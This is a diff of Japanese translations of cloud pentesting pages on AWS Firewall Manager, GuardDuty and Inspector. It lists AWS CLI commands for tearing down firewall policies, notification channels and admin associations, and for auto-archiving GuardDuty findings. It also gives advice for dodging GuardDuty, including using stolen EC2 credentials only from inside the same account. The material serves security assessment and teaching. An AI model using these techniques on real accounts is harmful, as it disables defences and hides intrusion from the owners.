Firewall Manager は、セキュリティグループポリシーの構成 Firewall Manager を構成して組織のリソースを効果的に保護するために、次の前提条件を完了する必要があります。これらのステップは、Firewall Manager がセキュリティポリシーを適用し、AWS 環境全体でコンプライアンスを確保するために必要な基盤設定を提供します: -1. **AWS Organizations に参加し、設定する**: AWS アカウントが、AWS Firewall Manager ポリシーが実装される予定の AWS Organizations 組織の一部であることを確認します。これにより、組織内の複数の AWS アカウントにわたるリソースとポリシーの集中管理が可能になります。 -2. **AWS Firewall Manager デフォルト管理者アカウントを作成する**: Firewall Manager セキュリティポリシーを管理するためのデフォルト管理者アカウントを作成します。このアカウントは、組織全体でセキュリティポリシーを構成し、適用する責任を負います。組織の管理アカウントのみが Firewall Manager デフォルト管理者アカウントを作成できます。 -3. **AWS Config を有効にする**: AWS Config を有効にして、Firewall Manager にセキュリティポリシーを効果的に適用するために必要な構成データと洞察を提供します。AWS Config は、リソースの構成と変更を分析、監査、監視し、より良いセキュリティ管理を促進します。 -4. **サードパーティポリシーについては、AWS Marketplace でサブスクリプションし、サードパーティ設定を構成する**: サードパーティファイアウォールポリシーを利用する予定がある場合は、AWS Marketplace でそれらにサブスクリプションし、必要な設定を構成します。このステップにより、Firewall Manager が信頼できるサードパーティベンダーのポリシーを統合し、適用できるようになります。 -5. **Network Firewall および DNS Firewall ポリシーについては、リソース共有を有効にする**: Network Firewall および DNS Firewall ポリシー専用にリソース共有を有効にします。これにより、Firewall Manager が組織の VPC と DNS 解決にファイアウォール保護を適用でき、ネットワークセキュリティが向上します。 -6. **デフォルトで無効になっているリージョンで AWS Firewall Manager を使用するには**: デフォルトで無効になっている AWS リージョンで Firewall Manager を使用する予定がある場合は、それらのリージョンでの機能を有効にするために必要な手順を実行してください。これにより、組織が運営するすべてのリージョンで一貫したセキュリティの適用が確保されます。 +1. **AWS Organizations に参加し、設定する**:AWS アカウントが、AWS Firewall Manager ポリシーが実装される予定の AWS Organizations 組織の一部であることを確認します。これにより、組織内の複数の AWS アカウントにわたるリソースとポリシーの集中管理が可能になります。 +2. **AWS Firewall Manager デフォルト管理者アカウントを作成する**:Firewall Manager セキュリティポリシーを管理するためのデフォルト管理者アカウントを作成します。このアカウントは、組織全体でセキュリティポリシーを構成および適用する責任を負います。組織の管理アカウントのみが Firewall Manager デフォルト管理者アカウントを作成できます。 +3. **AWS Config を有効にする**:AWS Config を有効にして、Firewall Manager にセキュリティポリシーを効果的に適用するために必要な構成データと洞察を提供します。AWS Config は、リソースの構成と変更を分析、監査、監視し、より良いセキュリティ管理を促進します。 +4. **サードパーティポリシーについては、AWS Marketplace でサブスクリプションし、サードパーティ設定を構成する**:サードパーティファイアウォールポリシーを利用する予定がある場合は、AWS Marketplace でそれらにサブスクリプションし、必要な設定を構成します。このステップにより、Firewall Manager が信頼できるサードパーティベンダーのポリシーを統合し、適用できるようになります。 +5. **Network Firewall および DNS Firewall ポリシーについては、リソース共有を有効にする**:Network Firewall および DNS Firewall ポリシー専用のリソース共有を有効にします。これにより、Firewall Manager が組織の VPC および DNS 解決にファイアウォール保護を適用でき、ネットワークセキュリティが向上します。 +6. **デフォルトで無効になっているリージョンで AWS Firewall Manager を使用するには**:デフォルトで無効になっている AWS リージョンで Firewall Manager を使用する予定がある場合は、それらのリージョンでの機能を有効にするために必要な手順を実行してください。これにより、組織が運営するすべてのリージョンで一貫したセキュリティの適用が確保されます。 -詳細については、次を確認してください: [AWS Firewall Manager AWS WAF ポリシーの開始](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 +詳細については、次を確認してください: [Getting started with AWS Firewall Manager AWS WAF policies](https://docs.aws.amazon.com/waf/latest/developerguide/getting-started-fms.html)。 ### 保護ポリシーの種類 AWS Firewall Manager は、組織のインフラストラクチャのさまざまな側面にわたってセキュリティコントロールを適用するために、いくつかの種類のポリシーを管理します: -1. **AWS WAF ポリシー**: このポリシータイプは、AWS WAF と AWS WAF Classic の両方をサポートします。ポリシーによって保護されるリソースを定義できます。AWS WAF ポリシーの場合、Web ACL 内で最初と最後に実行するルールグループのセットを指定できます。さらに、アカウント所有者は、これらのセットの間で実行するルールとルールグループを追加できます。 -2. **Shield Advanced ポリシー**: このポリシーは、指定されたリソースタイプに対して組織全体で Shield Advanced 保護を適用します。DDoS 攻撃やその他の脅威から保護するのに役立ちます。 -3. **Amazon VPC セキュリティグループポリシー**: このポリシーを使用すると、組織全体で使用されるセキュリティグループを管理し、AWS 環境全体でネットワークアクセスを制御するための基本的なルールセットを適用できます。 -4. **Amazon VPC ネットワークアクセス制御リスト (ACL) ポリシー**: このポリシータイプは、組織で使用されるネットワーク ACL を制御し、AWS 環境全体で基本的なネットワーク ACL を適用できるようにします。 -5. **Network Firewall ポリシー**: このポリシーは、組織の VPC に AWS Network Firewall 保護を適用し、事前定義されたルールに基づいてトラフィックをフィルタリングすることでネットワークセキュリティを強化します。 -6. **Amazon Route 53 Resolver DNS Firewall ポリシー**: このポリシーは、組織の VPC に DNS Firewall 保護を適用し、悪意のあるドメイン解決試行をブロックし、DNS トラフィックのセキュリティポリシーを適用するのに役立ちます。 -7. **サードパーティファイアウォールポリシー**: このポリシータイプは、AWS Marketplace コンソールを通じてサブスクリプション可能なサードパーティファイアウォールからの保護を適用します。信頼できるベンダーからの追加のセキュリティ対策を AWS 環境に統合できます。 -1. **Palo Alto Networks Cloud NGFW ポリシー**: このポリシーは、Palo Alto Networks Cloud Next Generation Firewall (NGFW) の保護とルールスタックを組織の VPC に適用し、高度な脅威防止とアプリケーションレベルのセキュリティコントロールを提供します。 -2. **Fortigate Cloud Native Firewall (CNF) as a Service ポリシー**: このポリシーは、Fortigate Cloud Native Firewall (CNF) as a Service の保護を適用し、クラウドインフラストラクチャ向けに業界をリードする脅威防止、Web アプリケーションファイアウォール (WAF)、および API 保護を提供します。 +1. **AWS WAF ポリシー**:このポリシータイプは、AWS WAF と AWS WAF Classic の両方をサポートします。ポリシーによって保護されるリソースを定義できます。AWS WAF ポリシーの場合、Web ACL 内で最初と最後に実行するルールグループのセットを指定できます。さらに、アカウント所有者は、これらのセットの間で実行するルールとルールグループを追加できます。 +2. **Shield Advanced ポリシー**:このポリシーは、指定されたリソースタイプに対して組織全体で Shield Advanced 保護を適用します。DDoS 攻撃やその他の脅威から保護するのに役立ちます。 +3. **Amazon VPC セキュリティグループポリシー**:このポリシーを使用すると、組織全体で使用されるセキュリティグループを管理し、AWS 環境全体でネットワークアクセスを制御するための基本的なルールセットを適用できます。 +4. **Amazon VPC ネットワークアクセス制御リスト (ACL) ポリシー**:このポリシータイプは、組織で使用されるネットワーク ACL を制御できるようにし、AWS 環境全体で基本的なネットワーク ACL を適用できます。 +5. **Network Firewall ポリシー**:このポリシーは、組織の VPC に AWS Network Firewall 保護を適用し、事前定義されたルールに基づいてトラフィックをフィルタリングすることでネットワークセキュリティを強化します。 +6. **Amazon Route 53 Resolver DNS Firewall ポリシー**:このポリシーは、組織の VPC に DNS Firewall 保護を適用し、悪意のあるドメイン解決試行をブロックし、DNS トラフィックのセキュリティポリシーを適用するのに役立ちます。 +7. **サードパーティファイアウォールポリシー**:このポリシータイプは、AWS Marketplace コンソールを通じてサブスクリプション可能なサードパーティファイアウォールからの保護を適用します。信頼できるベンダーからの追加のセキュリティ対策を AWS 環境に統合できます。 +1. **Palo Alto Networks Cloud NGFW ポリシー**:このポリシーは、Palo Alto Networks Cloud Next Generation Firewall (NGFW) の保護とルールスタックを組織の VPC に適用し、高度な脅威防止とアプリケーションレベルのセキュリティコントロールを提供します。 +2. **Fortigate Cloud Native Firewall (CNF) as a Service ポリシー**:このポリシーは、Fortigate Cloud Native Firewall (CNF) as a Service の保護を適用し、クラウドインフラストラクチャ向けに業界最高の脅威防止、Web アプリケーションファイアウォール (WAF)、および API 保護を提供します。 ### 管理者アカウント AWS Firewall Manager は、管理スコープと2種類の管理者アカウントを通じて、組織内のファイアウォールリソースの管理に柔軟性を提供します。 -**管理スコープは、Firewall Manager 管理者が管理できるリソースを定義します**。AWS Organizations の管理アカウントが組織を Firewall Manager にオンボードすると、異なる管理スコープを持つ追加の管理者を作成できます。これらのスコープには以下が含まれます: +**管理スコープは、Firewall Manager 管理者が管理できるリソースを定義します**。AWS Organizations の管理アカウントが組織を Firewall Manager にオンボードすると、異なる管理スコープを持つ追加の管理者を作成できます。これらのスコープには、次のものが含まれます: - 管理者がポリシーを適用できるアカウントまたは組織単位 (OU)。 - 管理者がアクションを実行できるリージョン。 - 管理者が管理できる Firewall Manager ポリシータイプ。 -管理スコープは、**フルまたは制限付き**のいずれかです。フルスコープは、管理者に**すべての指定されたリソースタイプ、リージョン、およびポリシータイプ**へのアクセスを付与します。一方、**制限付きスコープは、リソース、リージョン、またはポリシータイプのサブセットに対してのみ管理権限を提供します**。管理者には、役割を効果的に果たすために必要な権限のみを付与することが推奨されます。これらの管理スコープ条件の任意の組み合わせを管理者に適用し、最小権限の原則を遵守することができます。 +管理スコープは、**フルまたは制限付き**のいずれかです。フルスコープは、管理者に**すべての指定されたリソースタイプ、リージョン、およびポリシータイプ**へのアクセスを付与します。一方、**制限付きスコープは、リソース、リージョン、またはポリシータイプのサブセットに対してのみ管理権限を提供します**。管理者には、役割を効果的に果たすために必要な権限のみを付与することが推奨されます。これらの管理スコープ条件の任意の組み合わせを管理者に適用し、最小権限の原則を遵守できます。 管理者アカウントには、特定の役割と責任を果たすための2つの異なるタイプがあります: -- **デフォルト管理者**: +- **デフォルト管理者**: - デフォルト管理者アカウントは、AWS Organizations 組織の管理アカウントによって Firewall Manager へのオンボーディングプロセス中に作成されます。 - このアカウントは、サードパーティファイアウォールを管理する能力を持ち、完全な管理スコープを持っています。 -- 組織全体でセキュリティポリシーを構成し、適用する責任を負う Firewall Manager の主要な管理者アカウントとして機能します。 +- 組織全体でセキュリティポリシーを構成および適用する責任を負う、Firewall Manager の主要な管理者アカウントとして機能します。 - デフォルト管理者は、すべてのリソースタイプおよび管理機能に完全にアクセスできますが、組織内で複数の管理者が利用されている場合、他の管理者と同じピアレベルで操作します。 -- **Firewall Manager 管理者**: +- **Firewall Manager 管理者**: - これらの管理者は、AWS Organizations 管理アカウントによって定義された管理スコープに従って、リソースを管理できます。 - Firewall Manager 管理者は、組織内で特定の役割を果たすために作成され、責任の委任を可能にしながら、セキュリティとコンプライアンス基準を維持します。 - 作成時に、Firewall Manager は AWS Organizations に確認して、アカウントがすでに委任された管理者であるかどうかを判断します。そうでない場合、Firewall Manager は Organizations に呼び出して、アカウントを Firewall Manager の委任された管理者として指定します。 -これらの管理者アカウントの管理には、Firewall Manager 内での作成と、組織のセキュリティ要件および最小権限の原則に従った管理スコープの定義が含まれます。適切な管理役割を割り当てることで、組織は効果的なセキュリティ管理を確保しながら、機密リソースへのアクセスを細かく制御できます。 +これらの管理者アカウントの管理には、Firewall Manager 内での作成と、組織のセキュリティ要件および最小権限の原則に従った管理スコープの定義が含まれます。適切な管理役割を割り当てることで、組織は効果的なセキュリティ管理を確保し、機密リソースへのアクセスを細かく制御できます。 -**組織内で Firewall Manager デフォルト管理者として機能できるのは、1つのアカウントのみであることを強調することが重要です**。これは「**最初に入ったものが最後に出る**」という原則に従います。新しいデフォルト管理者を指定するには、一連の手順を実行する必要があります: +**組織内で Firewall Manager デフォルト管理者として機能できるのは、1つのアカウントのみであることを強調することが重要です**。これは「**最初に入った者が最後に出る**」という原則に従います。新しいデフォルト管理者を指定するには、一連の手順を実行する必要があります: - まず、各 Firewall Administrator 管理者アカウントは、自分のアカウントを取り消す必要があります。 - 次に、既存のデフォルト管理者は、自分のアカウントを取り消すことができ、これにより組織が Firewall Manager からオフボードされます。このプロセスにより、取り消されたアカウントによって作成されたすべての Firewall Manager ポリシーが削除されます。 @@ -161,15 +161,15 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` -## ポストエクスプロイテーション / 検出バイパス +## ポストエクスプロイテーション / バイパス検出 ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -**`fms:AssociateAdminAccount`** 権限を持つ攻撃者は、Firewall Managerのデフォルト管理者アカウントを設定することができます。**`fms:PutAdminAccount`** 権限を持つ攻撃者は、Firewall Manager管理者アカウントを作成または更新することができ、**`fms:DisassociateAdminAccount`** 権限を持つ潜在的な攻撃者は、現在のFirewall Manager管理者アカウントの関連付けを削除することができます。 +**`fms:AssociateAdminAccount`** 権限を持つ攻撃者は、Firewall Manager のデフォルト管理者アカウントを設定することができます。**`fms:PutAdminAccount`** 権限を持つ攻撃者は、Firewall Manager 管理者アカウントを作成または更新することができ、**`fms:DisassociateAdminAccount`** 権限を持つ潜在的な攻撃者は、現在の Firewall Manager 管理者アカウントの関連付けを削除することができます。 -- **Firewall Managerのデフォルト管理者の非関連付けは、先入れ後出しポリシーに従います**。すべてのFirewall Manager管理者は、Firewall Managerのデフォルト管理者がアカウントを非関連付ける前に非関連付けを行う必要があります。 -- **PutAdminAccount** によってFirewall Manager管理者を作成するには、アカウントは以前に**AssociateAdminAccount**を使用してFirewall Managerにオンボードされた組織に属している必要があります。 -- Firewall Manager管理者アカウントの作成は、組織の管理アカウントによってのみ行うことができます。 +- **Firewall Manager のデフォルト管理者の非関連付けは、先入れ後出しのポリシーに従います**。すべての Firewall Manager 管理者は、Firewall Manager のデフォルト管理者がアカウントを非関連付ける前に非関連付けを行う必要があります。 +- **PutAdminAccount** によって Firewall Manager 管理者を作成するには、そのアカウントは以前に **AssociateAdminAccount** を使用して Firewall Manager にオンボードされた組織に属している必要があります。 +- Firewall Manager 管理者アカウントの作成は、組織の管理アカウントによってのみ行うことができます。 ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account @@ -208,11 +208,11 @@ aws fms delete-policy --policy-id [--delete-all-policy-resources | --no- "TagList": [] } ``` -**潜在的な影響:** セキュリティコントロールの解体、ポリシーの回避、コンプライアンス違反、運用の中断、及び環境内での潜在的なデータ侵害。 +**潜在的な影響:** セキュリティコントロールの解体、ポリシーの回避、コンプライアンス違反、運用の中断、および環境内でのデータ漏洩の可能性。 ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -**`fms:BatchAssociateResource`** および **`fms:BatchDisassociateResource`** 権限を持つ攻撃者は、それぞれファイアウォールマネージャーのリソースセットからリソースを関連付けたり、関連付けを解除したりすることができます。さらに、**`fms:PutResourceSet`** および **`fms:DeleteResourceSet`** 権限により、攻撃者はAWS Firewall Managerからこれらのリソースセットを作成、変更、または削除することが可能になります。 +**`fms:BatchAssociateResource`** および **`fms:BatchDisassociateResource`** の権限を持つ攻撃者は、それぞれファイアウォールマネージャーのリソースセットからリソースを関連付けたり、関連付けを解除したりすることができます。さらに、**`fms:PutResourceSet`** および **`fms:DeleteResourceSet`** の権限により、攻撃者はAWS Firewall Managerからこれらのリソースセットを作成、変更、または削除することができます。 ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -222,7 +222,7 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` -**潜在的な影響:** リソースセットに不必要なアイテムを追加すると、サービス内のノイズレベルが増加し、DoSを引き起こす可能性があります。さらに、リソースセットの変更は、リソースの中断、ポリシーの回避、コンプライアンス違反、環境内のセキュリティ制御の中断を引き起こす可能性があります。 +**潜在的影響:** リソースセットに不必要なアイテムを追加すると、サービス内のノイズレベルが増加し、DoSを引き起こす可能性があります。さらに、リソースセットの変更は、リソースの中断、ポリシーの回避、コンプライアンス違反、環境内のセキュリティコントロールの中断を引き起こす可能性があります。 ### `fms:PutAppsList`, `fms:DeleteAppsList` @@ -231,7 +231,11 @@ aws fms delete-resource-set --identifier aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` -**潜在的影響:** これにより、 +**潜在的な影響:** これにより、誤設定、ポリシー回避、コンプライアンス違反、環境内のセキュリティコントロールの中断が発生する可能性があります。 + +### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` + +**`fms:PutProtocolsList`** および **`fms:DeleteProtocolsList`** 権限を持つ攻撃者は、AWS Firewall Managerからプロトコルリストを作成、変更、または削除することができます。アプリケーションリストと同様に、これは重要である可能性があります。なぜなら、無許可のプロトコルが一般の人々によって使用される可能性があるか、または許可されたプロトコルの使用が拒否され、DoSを引き起こす可能性があるからです。 ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id @@ -244,7 +248,7 @@ aws fms delete-protocols-list --list-id **`fms:PutNotificationChannel`** をコンソールの外で使用するには、指定された **SnsRoleName** がSNSログを公開できるようにSNSトピックのアクセスポリシーを設定する必要があります。提供された **SnsRoleName** が **`AWSServiceRoleForFMS`** 以外のロールである場合、Firewall Managerサービスプリンシパル **fms.amazonaws.com** がこのロールを引き受けることを許可する信頼関係が構成されている必要があります。 -SNSアクセスポリシーの構成に関する情報: +SNSアクセスポリシーの設定に関する情報: {{#ref}} ../aws-sns-enum.md @@ -253,7 +257,7 @@ SNSアクセスポリシーの構成に関する情報: aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` -**潜在的な影響:** これにより、セキュリティアラートの見逃し、インシデント対応の遅延、データ漏洩の可能性、環境内での運用の混乱が引き起こされる可能性があります。 +**潜在的な影響:** これにより、セキュリティアラートの見逃し、インシデント対応の遅延、データ漏洩の可能性、環境内での運用の中断が発生する可能性があります。 ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 78a6037c2..8257ccf19 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,7 +4,7 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDutyは、**機械学習、異常検知、ネットワーク監視、悪意のあるファイル発見**を組み合わせ、AWSおよび業界をリードするサードパーティのソースを使用して、AWS上のワークロードとデータを保護します。GuardDutyは、AWS CloudTrailイベントログ、Amazon Virtual Private Cloud (VPC) フローログ、Amazon Elastic Kubernetes Service (EKS) 監査およびシステムレベルのログ、DNSクエリログなど、複数のAWSデータソースにわたる数十億のイベントを分析することができます。 +According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDutyは、**機械学習、異常検知、ネットワーク監視、悪意のあるファイル発見**を組み合わせて、AWS上のワークロードとデータを保護するために、AWSおよび業界をリードするサードパーティのソースを使用します。GuardDutyは、AWS CloudTrailイベントログ、Amazon Virtual Private Cloud (VPC)フローログ、Amazon Elastic Kubernetes Service (EKS)の監査およびシステムレベルのログ、DNSクエリログなど、複数のAWSデータソースにわたる数十億のイベントを分析することができます。 Amazon GuardDutyは、**アカウント内の異常な活動を特定**し、その活動の**セキュリティ関連性**を分析し、活動が発生した**コンテキスト**を提供します。これにより、応答者はさらなる調査に時間を費やすべきかどうかを判断できます。 @@ -16,10 +16,10 @@ Amazon GuardDutyは、**アカウント内の異常な活動を特定**し、そ ### Findings Example -- **偵察**: **異常なAPI活動**、疑わしいデータベース**ログイン**試行、VPC内の**ポートスキャン**、異常な失敗したログイン要求パターン、または既知の悪意のあるIPからのブロックされていないポートのプロービングなど、攻撃者による偵察を示唆する活動。 -- **インスタンスの侵害**: **暗号通貨マイニング、バックドアコマンドおよびコントロール(C\&C)**活動、ドメイン生成アルゴリズム(DGA)を使用するマルウェア、外向きのサービス拒否活動、異常に**高いネットワーク**トラフィック量、異常なネットワークプロトコル、既知の悪意のあるIPとの外向きインスタンス通信、外部IPアドレスによって使用される一時的なAmazon EC2資格情報、DNSを使用したデータの流出を示す活動。 -- **アカウントの侵害**: アカウント侵害を示す一般的なパターンには、異常な地理的位置または匿名プロキシからのAPI呼び出し、AWS CloudTrailログの無効化の試み、アカウントパスワードポリシーを弱める変更、異常なインスタンスまたはインフラの起動、異常な地域でのインフラ展開、資格情報の盗難、疑わしいデータベースログイン活動、既知の悪意のあるIPアドレスからのAPI呼び出しが含まれます。 -- **バケットの侵害**: 資格情報の誤用を示す疑わしいデータアクセスパターン、リモートホストからの異常なAmazon S3 API活動、既知の悪意のあるIPアドレスからの不正なS3アクセス、またはバケットにアクセスした前歴のないユーザーからのS3バケット内のデータを取得するためのAPI呼び出しなど、バケットの侵害を示す活動。Amazon GuardDutyは、すべてのAmazon S3バケットにわたる疑わしい活動を検出するために、AWS CloudTrail S3データイベント(例:GetObject、ListObjects、DeleteObject)を継続的に監視および分析します。 +- **偵察**: 攻撃者による偵察を示唆する活動、例えば**異常なAPI活動**、疑わしいデータベース**ログイン**試行、VPC内の**ポートスキャン**、異常な失敗したログインリクエストパターン、または既知の悪意のあるIPからのブロックされていないポートのプロービング。 +- **インスタンスの侵害**: インスタンスの侵害を示す活動、例えば**暗号通貨マイニング、バックドアコマンドおよびコントロール(C\&C)**活動、ドメイン生成アルゴリズム(DGA)を使用するマルウェア、外向きのサービス拒否活動、異常に**高いネットワーク**トラフィック量、異常なネットワークプロトコル、既知の悪意のあるIPとの外向きインスタンス通信、外部IPアドレスによって使用される一時的なAmazon EC2資格情報、DNSを使用したデータの流出。 +- **アカウントの侵害**: アカウントの侵害を示す一般的なパターンには、異常な地理的位置または匿名プロキシからのAPI呼び出し、AWS CloudTrailログの無効化の試み、アカウントパスワードポリシーを弱める変更、異常なインスタンスまたはインフラの起動、異常な地域でのインフラ展開、資格情報の盗難、疑わしいデータベースログイン活動、既知の悪意のあるIPアドレスからのAPI呼び出しが含まれます。 +- **バケットの侵害**: バケットの侵害を示す活動、例えば資格情報の誤用を示す疑わしいデータアクセスパターン、リモートホストからの異常なAmazon S3 API活動、既知の悪意のあるIPアドレスからの不正なS3アクセス、またはバケットにアクセスしたことのないユーザーからのS3バケット内のデータを取得するためのAPI呼び出し、または異常な場所からの呼び出し。Amazon GuardDutyは、すべてのAmazon S3バケットにわたる疑わしい活動を検出するために、AWS CloudTrail S3データイベント(例:GetObject、ListObjects、DeleteObject)を継続的に監視および分析します。
@@ -116,7 +116,7 @@ aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id - **ユーザーによってアクセスされるユーザーまたはロール**の場合、同じ時間帯、同じ地理的位置(可能であれば同じISPとIPから)で使用してください - **サービスによって使用されるロール**の場合、同じリージョンに同じサービスを作成し、同じ時間範囲でそこから使用してください - このプリンシパルが使用した**同じ権限**を常に使用するようにしてください -- **他の権限を使用する必要がある場合や権限を悪用する必要がある場合**(例えば、1,000,000のcloudtrailログファイルをダウンロードするなど)、**ゆっくり**行い、AWSとの**最小限のインタラクション**で行ってください(awscliは時々、書き込みの前にいくつかの読み取りAPIを呼び出します) +- **他の権限を使用する必要がある場合や権限を悪用する必要がある場合**(例えば、1,000,000のcloudtrailログファイルをダウンロードするなど)、**ゆっくり**行い、AWSとの**最小限のインタラクション**で行ってください(awscliは時々、書き込みの前に複数の読み取りAPIを呼び出します) ### GuardDutyの破壊 @@ -129,7 +129,7 @@ aws guardduty update-detector --detector-id --data-sources S3Logs= ``` #### `guardduty:CreateFilter` -この権限を持つ攻撃者は、**発見の自動**アーカイブのためのフィルターを**使用する**能力を持っています: +この権限を持つ攻撃者は、**発見の自動**アーカイブのためのフィルターを**使用する**能力があります: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` @@ -152,7 +152,7 @@ aws guardduty delete-publishing-destination --detector-id --destin GuardDutyの発見は数十種類ありますが、**Red Teamerとしてはすべてがあなたに影響を与えるわけではありません**。さらに良いことに、各発見の**完全なドキュメントが**[https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html)にあるので、行動を起こす前に確認して捕まらないようにしてください。 -ここに特定のGuardDuty発見のバイパスの例をいくつか示します: +ここに特定のGuardDuty発見のバイパスの例がいくつかあります: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) @@ -164,7 +164,7 @@ GuardDutyは一般的なペネトレーションテストツールからのAWS A #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -EC2のメタデータサービスからEC2資格情報を抽出し、**AWS環境外で利用する**と、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)アラートが発動します。逆に、これらの資格情報をEC2インスタンスから使用すると、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)アラートがトリガーされます。しかし、**同じアカウント内の別の侵害されたEC2インスタンスで資格情報を使用すると、検出されず、アラートは発生しません**。 +EC2のメタデータサービスからEC2の資格情報を抽出し、**AWS環境外で利用する**と、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws)アラートが発動します。逆に、これらの資格情報をEC2インスタンスから使用すると、[**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws)アラートがトリガーされます。しかし、**同じアカウント内の別の侵害されたEC2インスタンスで資格情報を使用すると、検出されず、アラートは発生しません**。 > [!TIP] > したがって、**見つけたマシンの内部から抽出された資格情報を使用する**ことで、このアラートをトリガーしないようにしてください。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 48e7ce01b..cbb51e5f9 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,45 +6,45 @@ ### Inspector -Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度な自動脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を継続的にスキャンし、脆弱性や意図しないネットワーク露出を検出します。堅牢な脆弱性インテリジェンスデータベースを活用することで、Amazon Inspectorは詳細な調査結果を提供し、深刻度レベルや修正推奨を含め、組織がセキュリティリスクを積極的に特定し対処するのを支援します。この包括的なアプローチは、さまざまなAWSサービス全体で強化されたセキュリティ姿勢を確保し、コンプライアンスとリスク管理を支援します。 +Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度な自動脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を脆弱性や意図しないネットワーク露出のために継続的にスキャンします。堅牢な脆弱性インテリジェンスデータベースを活用することで、Amazon Inspectorは、深刻度レベルや修正推奨を含む詳細な結果を提供し、組織がセキュリティリスクを積極的に特定し対処するのを支援します。この包括的なアプローチは、さまざまなAWSサービス全体で強化されたセキュリティ姿勢を確保し、コンプライアンスとリスク管理を支援します。 ### Key elements #### Findings -Amazon Inspectorの調査結果は、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、調査結果は次のように分類されます: +Amazon InspectorのFindingsは、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、Findingsは次のように分類されます: -- **Active**: 調査結果は修正されていません。 -- **Closed**: 調査結果は修正されました。 -- **Suppressed**: 調査結果は1つ以上の**抑制ルール**によりこの状態にマークされています。 +- **Active**: Findingは修正されていません。 +- **Closed**: Findingは修正されました。 +- **Suppressed**: Findingは1つ以上の**suppression rules**によりこの状態にマークされています。 -調査結果は次の3つのタイプにも分類されます: +Findingsは次の3つのタイプにも分類されます: -- **Package**: これらの調査結果は、リソースにインストールされたソフトウェアパッケージの脆弱性に関連しています。例としては、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。 +- **Package**: これらのFindingsは、リソースにインストールされたソフトウェアパッケージの脆弱性に関連しています。例としては、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。 - **Code**: このカテゴリには、AWSリソース上で実行されているアプリケーションのコードに見つかった脆弱性が含まれます。一般的な問題は、セキュリティ侵害を引き起こす可能性のあるコーディングエラーや不安全なプラクティスです。 -- **Network**: ネットワークの調査結果は、攻撃者によって悪用される可能性のあるネットワーク構成の潜在的な露出を特定します。これには、オープンポート、不安全なネットワークプロトコル、および誤設定されたセキュリティグループが含まれます。 +- **Network**: ネットワークFindingsは、攻撃者によって悪用される可能性のあるネットワーク構成の潜在的な露出を特定します。これには、オープンポート、不安全なネットワークプロトコル、および誤設定されたセキュリティグループが含まれます。 #### Filters and Suppression Rules -Amazon 